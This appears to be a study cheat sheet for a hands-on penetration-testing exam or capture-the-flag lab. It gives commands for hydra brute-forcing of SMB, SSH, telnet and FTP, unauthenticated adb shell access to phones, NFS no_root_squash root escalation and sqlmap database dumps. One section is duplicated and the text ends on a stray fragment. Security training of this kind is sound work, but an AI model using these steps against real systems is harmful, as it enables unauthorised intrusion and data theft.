How to foot print Domain

nmap -T4 -A -p 389,636,3268,3269 192.168.x.x/2x

or

nmap -p 389 --script ldap-rootdse <target\_IP>

Wamp server

nmap -T4 -A 192.168.x.x/2x

OR

nmap -T4 -A -p 80,443 192.168.x.x/2x

Look for specific banners or headers that indicate the presence of WampServer. This may include strings like "WampServer" or "Apache" in HTTP response headers or a the existense of MySql service

How to exploit smb

nmap -T4 -A -p 139,445 192.168.x.x/2x

OR

nmap -p 139,445 -sV 192.168.x.x/2x

Brute force SMB with hydra

hydra -l USER\_NAME -P password\_file TARGET\_IP smb

Once SMB credentials are obtained, you can use tools like smbclient

to connect to the SMB share and retrieve files.

smbclient //target\_ip/ -U USER\_NAME

get file.txt

OR

smbmap -u USER\_NAME -p 'PASSWORD' -H TARGET\_IP --download 'C$\file.txt'

Decrypt Encoded File:

Use bctextencoder or any other tool to decrypt the file using the users password

OR

snow.exe -C -p “password” file.txt

How to access mobile device

Scan adb port: nmap -sV -p 5555 192.168.x.x/2x

Connect adb: adb connect TARGET\_IP:5555

Access mobile device:

adb shell

pwd

ls

cd

sdcard/scan

ls

cat secret.txt (If you can't find it there then go to Downloads folder using: cd downloads)

Download files: adb pull /sdcard/scan (if it doesn't work we need to elevate privilege using sudo -i)

We've three elf files, now we need to calculate entropy for each of them using this command: ent file.elf

After selecting file.elf with highest entropy, we need to calculate hash of SHA 384:

sha384sum file.elf

and consider only the last 4 digits of the hash result. --> Use hashcalc

Start OpenVAS:

Start the OpenVAS service, and access the web interface.

Create a Target:

In the OpenVAS web interface, create a new target with the IP address.

Create a Task:

Create a new task, and associate it with the target you just created.

Run the Scan:

Start the vulnerability scan by running the task.

Review Scan Results:

After the scan is complete, review the scan results to identify vulnerabilities.

Identify the End-of-Life Vulnerability:

Look for vulnerabilities related to the End-of-Life (EOL) of the web development language platform.

This might be indicated in the scan results with a high severity score.

Retrieve Severity Score:

Retrieve the severity score associated with the vulnerability indicating the End-of-Life

of the web development language platform.

How to scan network

nmap -T4 -A 192.168.x.x/2x

OR

nmap -T4 -A -p 80,443 192.168.x.x/2x

Look out for telnet or ssh and bruteforce it

hydra -L username\_file -P password\_file TARGET\_IP telnet

or

hydra -L username\_file -P password\_file TARGET\_IP ssh

Login to the identified service and search for the file

Analyze the image file and extract the sensitive data hidden in the file

Use OpenStego on Windows

Select Extract Data

Upload file and select path of destination

Use any pointer from the question as keyword where applicable

Click to Extract Data

Question 8:

Exploit weak credentials used for ftp service on a windows machine in the 192.168.0.0/24 subnet. Obtain the file, Credential.txt, hosted on the ftp root, and enter its content as the answer.

Steps:

Identify FTP Service:

nmap -p 21 192.x.x.0/24

Exploit Weak Credentials:

Use a tool like hydra or medusa to perform a brute-force attack on the FTP service using a wordlist.

hydra -L username\_file -P password\_file 192.168.0.x ftp

Replace <username> with the FTP username and <passwords.txt> with a file containing a list of

possible passwords.

Connect to FTP Server:

Once you have valid credentials, connect to the FTP server using an FTP client.

ftp 192.168.0.x

Retrieve file:

get file

View Content:

cat file

vulnerability : Nfs squash method if you have time Follow this tutorial only

https://juggernaut-sec.com/nfs-no\_root\_squash/Example\_1\_Crafting\_an\_Exploit\_for\_a\_Root\_Shell

or

Perform vertical privilege escalation of a root user, and enter the flag

Exploiting misconfigured NFS (port 2049)

\* `nmap -sV —p 2049 IP/Subnet`

\* `sudo apt-get install nfs-common`

\* `nmap -sV —script=nfs-showmount <Target\_IP>`

\* check available mounts: `showmount -e <Target\_IP>` -> we will see /home directory

\* `mkdir /tmp/nfs`

\* `sudo mount -t nfs 10.10.1.9:/home /tmp/nfs`

\* `cd /tmp/nfs`

\* `sudo cp /bin/bash .`

\* `sudo chmod +s bash` -> it will be highlighted in red

\* `ls -la`

\* `sudo df -h`

\* `sudo chmod +s bash`

after them, In another terminal:

\* Access to target using SSH

ssh smith@192.168.0.x

\* `./bash -p` and we're root!

\* `cd /home`

\* `ls -la`

\* Find the flag: `find / -name "\*.txt" -ls 2> /dev/null`

Identify malware entry point address

[PEiD](https://softfamous.com/peid/) (suggested)

\* If tool is not alreay on system, Download PEiF tool ->

[https://softfamous.com/peid/](https://softfamous.com/peid/)

\* Execute PEiD tool

\* Upload malware executable

\* See entry point address

\*\*PEView\*\*

\* If tool is not alreay on system, Download PEView tool

\* Execute tool

\* Upload malware executable

\* Look for the "Optional Header" section within the PEView interface.

In this section, you should find the "AddressOfEntryPoint" field,

which represents the entry point of the executable. Note the hexadecimal value displayed in the

"AddressOfEntryPoint" field. This is the entry point address of the executable.

Detect it easy

\* Execute Detect it easy client tool

\* Upload malware executable

\* Click to File info

\* See entry point address

\*\*To find DOS (SYN and ACK) :\*

open file with wireshark

\* statistic -> IPv4 statistics -> source and destination address

\* filter using: `tcp.flags.syn == 1`

or

`tcp.flags.syn == 1 and tcp.flags.ack == 0`

or

filter to highest number of request

https://www.geeksforgeeks.org/use-sqlmap-test-website-sql-injection-vulnerability/

If we have a login account we can login or use sqli on the login page and go to profile.

There, we can use IDOR vulnerability (manipulating =id value on url) and seeing

info regarding another user.

In alternative we can use SQLMap and the vulnerable url after login to dump user info.

Get all databases using sqlmap

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

Get tables from a selected database\_name

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database\_name --tables

Get all columns from a selected table\_name in the database\_name

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database\_name -T table\_name --columns

Dump the data from the columns

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database\_name -T table\_name -C column\_name --dump

Open the site

change the page ID at the url section to the specified page ID

Find the flag

Directory traversal after dirsearch or gobuster or dirb or dirbuster

dirsearch -u https://example.com

or

dirsearch -e php,html,js,txt -u https://example.com -> for extension search

or

dirsearch -e php,html,js,txt -u https://example.com -w /usr/share/wordlists/dirb/common.txt -> for wordlist search

https://www.geeksforgeeks.org/use-sqlmap-test-website-sql-injection-vulnerability/

use SQLMap and a vulnerable url on the website to dump user info.

Get all databases using sqlmap

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

Get tables from a selected database\_name

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database\_name --tables

Get all columns from a selected table\_name in the database\_name

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database\_name -T table\_name --columns

Dump the data from the columns

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database\_name -T table\_name -C column\_name --dump

et code contained within.